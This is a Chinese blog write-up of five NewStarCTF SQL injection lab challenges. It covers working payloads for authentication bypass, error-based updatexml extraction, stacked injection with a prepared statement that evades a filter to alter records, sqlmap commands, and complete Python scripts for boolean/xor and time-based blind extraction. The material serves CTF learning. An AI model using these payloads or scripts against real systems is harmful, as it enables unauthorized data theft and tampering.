NewStarCTF SQL注入题


摆烂大师的第一篇Web文章,qwq。检验我摆烂的水平的时间到了

写写NewStarCTF的SQL注入题吧… 五周考了五个注入,考的点都不一样

NewStarCTF Week 1: Word - For - You

嗯… 这个题其实并不算sql注入,只是让你熟悉SQL的语句罢了

打开靶机

查询语句发现,输入1和输入1’的回显是一致的,根据这个信息能够初步得出考的应该不是SQL注入

时的回显

SQL万能密码

一般查询数据库执行的语句时 select user_id,user_type,email from users where user_id='用户名' and password='密码'

由于后台进行数据库查询时没有滤过单引号,当输入admin 和 1’ or’1’='1时,执行的语句为:

select user_id,user_type,email from users where user_id='admin' and password='1' or'1'='1'

这样子看的话,SQL查询语句被分成了两段:

第一段:select user_id,user_type,email from users where user_id='admin' and password='1' (由于sql语句中逻辑优先度 【=】>【and】>【or】)

第二段:'1'='1'

这两段语句之间的逻辑运算符是or

由于1=1恒为真,所以这段SQL语句恒为真,认证成功

payload

使用SQL注入万能密码查询

1' or'1'='1

拿到flag

NewStarCTF Week 2: Word - For - You (2 Gen)

报错注入 / sqlmap一把梭

打开靶机

输入1’ 发现报错,存在SQL注入

测试联合注入

测试字段

输入1' order by 3# 报错

而输入1' order by 2# 回显正常,说明字段数为2

测试回显位

输入1' union select 1,2# 只显示查询成功,说明没有回显位

无法使用联合注入查询

使用报错注入

报错注入适用条件:页面没有回显位,但是页面会有报错信息,例如输入 1' order by 3#的时候

注入语句:updatexml(1,'~',3),当第二个语句包含特殊字符时,数据库会报错,并且会把参数的内容显示在报错中

需要使用concat语句拼接字符串,长串的语句使用group_concat

查询命令:

1' and updatexml(1,concat('~',database()),3)# --爆库

爆出库名wfy

1' and updatexml(1,concat('~',(select group_concat(table_name) from inforamtion_schema.tables where table_schema=database())),3)# --爆表

1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments')),3)# --爆列名

爆出的列名为id,text,user,name,display

我们只需要查询text的内容即可

payload

1' and updatexml(1,concat('~',(select(reverse(group_concat(text))) from wfy_comments)),3)#

要点:

  • 报错注入的查询内容的字符是有限制的,如果内容过多,则无法回显。所以我们这里使用reverse()将flag倒着输出
  • 使用select之前都需要在select前加括号

拿到倒置的flag

sqlmap一把梭

sqlmap的使用教程可以查看这篇博客文章

<[(9条消息) 工具使用]SqlMap_拈花倾城的博客-CSDN博客_sqlmap联动msf/>

我们可以使用burp抓包的方式,抓到包的数据存入txt文本内,并使用sqlmap梭哈

将抓包的数据保存至txt文本内

sqlmap -r 1.txt --dbs

sqlmap -r 1.txt -D wfy --dump

爆库内容

NewStarCTF Week 3: multiSQL

堆叠注入,sql预处理语句

题目描述:需要我们修改火华老师的成绩,让他通过四级考试

测试联合注入 / 报错注入

输入1' 1均无回显

输入1' union select 1,2,3,4# 发现被过滤

联合注入失败

由于无报错信息,无法使用报错注入

堆叠注入

堆叠注入是将多个sql语句一起执行,使用;间隔的注入方式

输入1';show databases;# 爆库

输入1';show tables;# 爆表

输入1';show columns from score;# 爆列名

修改数据

使用update语句修改分数即可

1
update`score` set listen=9999 where username="火华"

发现被过滤,怀疑过滤update

所以这里需要我们使用sql预处理语句进行拼接,绕过update的过滤

1
1';set @sql=concat('u','pdate `score` set listen=99999 where username="火华"');prepare sql_exe from @sql;execute sql_exe;#
  • 设置sql语句=拼接u 和后面的语句
  • 预处理sql_exe
  • 执行sql_exe

点击验证成绩即可,然后就能拿到flag

或者

1
1'; handler `score` open as `a`; handler `a` read next;#

查看分数

点击验证成绩就能获得flag

彩蛋

这里如果修改的分数不一样的话,拿到flag的对话也是不一样的

修改成100分的结果如下

修改成99999分的结果如下

所以这个故事告诉我们不要把分数改的太大(雾)

NewStarCTF Week 4: 又一个SQL

异或/布尔盲注

打开靶机

尝试性输入1 和 1’

果然,寄。没有回显位,没有报错信息。

我们常用的三种注入方式已经无效了,所以我们接下来要考虑盲注

由于输入1 和 1’的回显信息是好耶和啊哦(刚好是两种不同的信息)

我们这里输入0试试

发现输入0和输入1是两种不同的回显,这样我们就可以使用盲注了

异或运算

异或的运算有:

  • 1 ^ 1 = 0
  • 1 ^ 0 = 1
  • 0 ^ 0 = 0
  • 0 ^ 1 = 1

也就是说,两件事的异或运算中,如果有一真一假,就会输出1

如果两件都是真,则输出0

那么我们就可以通过异或运算构造sql语句查询

1^(length(database())=3)

注:如果过滤空格,则需要通过加括号的方式进行绕过,此题过滤了空格,所以要在length前加括号

如果数据库的名称长度为3,则为真 1^1 = 0,传的数据为0,回显为啊哦

如果数据库的名称长度不为3,则传的数据为1,回显为好耶

通过不断更改=后面的数字,可以得出数据库的长度

发现=3时,返回啊哦,则说明数据库长度为3,并且布尔/异或盲注可用~

接下来就是编写脚本的事情了

编写盲注脚本

采用二分法方式编写盲注脚本

啥是二分法方式?

emmm,盲注的原理是一个字符的ascii码数值与你的数值作比较,需要一个个进行比较输出

比如爆库的一个查询语句是1^(ascii(substr(database(),1,1))=100)

即数据库名称的第一个字符的ascii 与 100 比较,如果是100 即提交0,返回的值是啊哦

而二分法能够缩短这个过程(

首先,从数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步。

如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复步骤(1)的操作。

如果某一步数组为空,则表示找不到目标元素。

大致意思是取第一个字符的ascii值和ascii(32,128)中间值,也就是80(刚好是常用的字段)作比较,如果ascii值大于中间值,从(80,132)的中间值比较,重复比较 直至ascii值相等。

结束一个判断的依据

根据页面返回的信息不同,在我的情况中,如果返回的是啊哦,说明是1^1型,那么,啊哦就是正确的依据

Python编写

这里给出post / get请求的两种盲注的脚本(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import sys
url = 'http://b4281729-cf5b-4705-81b6-74971a11b390.node4.buuoj.cn:81/comments.php' #目标url

res = '' #输出的结果
for i in range(1,100):
left = 32
right = 128
mid = (left + right) // 2 #二分法固定的格式( 定好ascii的左右两端
while (left < right): #post请求,前面的name可以改为其他post传参的变量名
payload = {
"name":"1^(ascii(substr(database(),%d,1))<%d)"%(i,mid) #循环传入i,mid 爆库
#"name":"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)"%(i,mid) #爆表
#"name":"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),%d,1))<%d)"%(i,mid) #爆列
#"name":"1^(ascii(substr((select(group_concat(text))from(wfy_comments)),%d,1))<%d)"%(i,mid) #读取内容
#"name":"1^(ascii(substr((select(reverse(group_concat(text)))from(wfy_comments)),%d,1))<%d)"%(i,mid) #读取内容,倒序输出

}
html=requests.post(url,data=payload) #post传参,传入数据=payload内容
print(payload) #方便检测有没有问题
time.sleep(0.04) #防止buuoj.cn的429
if "啊哦" in html.text:
right = mid
else:
left = mid + 1 #如果返回的不是啊哦,说明为假,例如<80时为假,则需要+1
mid = (left + right) // 2 #重复上述过程
if mid <= 32 or mid >=127:
break #找到的值不存在时,退出
res+=chr(mid-1) #小于号,需要-1
print(res) #输出结果
print("Final Result:",res) #输出结果
#print("Final Result",res[::-1]) #采用倒序输出时,将结果正向输出

其实你只要跑一次就知道为什么要-1了

最后一次输出的值是<120,返回为真,但是我们此时的mid是120,真正的值是<120

get传参也是如此

这里给出buuoj.cn FinalSQL的盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time
import sys#头文件

url="http://1189e07b-be07-49cc-9b96-af07b0b4f9b0.node4.buuoj.cn:81/search.php?id="

res="" #结果
for i in range(1,1000): #循环
left=32
right=128
mid=(left + right) //2 #二分中值
while (left < right):
#payload = url+"1^(ascii(substr(database(),%d,1))<%d)#"%(i,mid)#爆库
#payload = url+"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)#"%(i,mid)#爆表
#payload = url+"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))<%d)#"%(i,mid)#爆列
#payload = url+"1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))<%d)#"%(i,mid) #爆字段,第一个%d传入i 第二个%d传入mid值,数据库的ascii与mid两个作比较,如果一直< 一直循环
payload = url+"1^(ascii(substr((select(reverse(group_concat(id,username,password)))from(F1naI1y)),%d,1))<%d)#"%(i,mid) #爆字段,第一个%d传入i 第二个%d传入mid值,数据库的ascii与mid两个作比较,如果一直< 一直循环,倒序输出
html = requests.get(payload)
print(payload)
time.sleep(0.04)
if "ERROR" in html.text: #这里写入的传参值是< 返回的是ERROR才是对的反应
right = mid #如果有延时,右值取中值,再用左+右/2的新区间值与ascii比较(例如,第一次是ascii与80,如果小于80 用ascii与32+80/2=56比较)
else:
left = mid + 1 #如果没有,左值取中值+1,取(81,132)中值比较,ascii值比mid值要大
mid = (left + right) // 2 #重复上述过程

if mid <=32 or mid >=127:
break #防止超出ascii码值
res += chr(mid-1) #小于号,值要-1
print(res) #打印
print("Final Result:",res)
#print("Final Result:",res[::-1]) #采用倒序输出时,将结果正向输出

我们愉快的跑脚本就完事了

NewStarCTF Week 5: Final Round

延时盲注

题面提示:啊呜,好困呜呜(sleep)

进入靶机

其实已经不用测什么方式注入了,sleep嘛,延时注入

测试语句:

114514||if(length(database())=3,sleep(0.2),1)

如果数据库名长度为3,休眠两秒再访问(

肉眼可见的延迟

编写脚本

同样使用python脚本,同样也是post请求,同样也是二分法

套异或的就行了,只不过判断的方式有些不同

bool/异或 是根据1和0的两种回应来判断的,而time是根据访问的时间来进行访问的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

url=''
res=''
for i in range(1,100):
left = 32
right = 128
mid = (left + right) // 2
while(left < right):
payload = {
#"name" : "114514||if(ascii(substr(database(),%d,1))<%d,sleep(0.3),1)"%(i,mid) #爆库
#"name" : "114514||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d,sleep(0.3),1)"%(i,mid)
#"name" : "114514||if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),%d,1))<%d,sleep(0.3),1)"%(i,mid) #注意引号
#"name" : "114514||if(ascii(substr((select(group_concat(text))from(wfy_comments)),%d,1))<%d,sleep(0.3),1)"%(i,mid)
#"name" : "114514||if(ascii(substr((select(reverse(group_concat(text)))from(wfy_comments)),%d,1))<%d,sleep(0.3),1)"%(i,mid) #同样的倒置输出
}
print(payload)
times = time.time() #发送访问请求前的时间
html = requests.post(url,data=payload)
timee = time.time() #发送访问后的时间
keep = timee - times #当然是大-小
time.sleep(0.2) #防止429
if keep > 2:
right = mid
else:
left = mid + 1
mid = (left + right) //2

if mid <= 32 or mid >= 127:
break
res+=chr(mid-1)
print(res)
print("Final Results:",res) #输出最终结果
#print("Final Results:",res[::-1]) #如果选择倒序,选这个

然后就等吧… 啊呜,好困呜呜

睡一觉就把表跑完了,放心吧

记得renew 靶机

睡了一觉,终于跑完了(我忘记开最后那个倒序重整了,所以flag是倒着的)

flag{Ju2t_let_me_sleep_f0r_a_while}


结束辣,好题,但是结束了才会做呜呜呜

看我摆烂的结果如何?

题目来自:buuoj.cn //NewStarsCTF

图片来自:截图

侵删qwq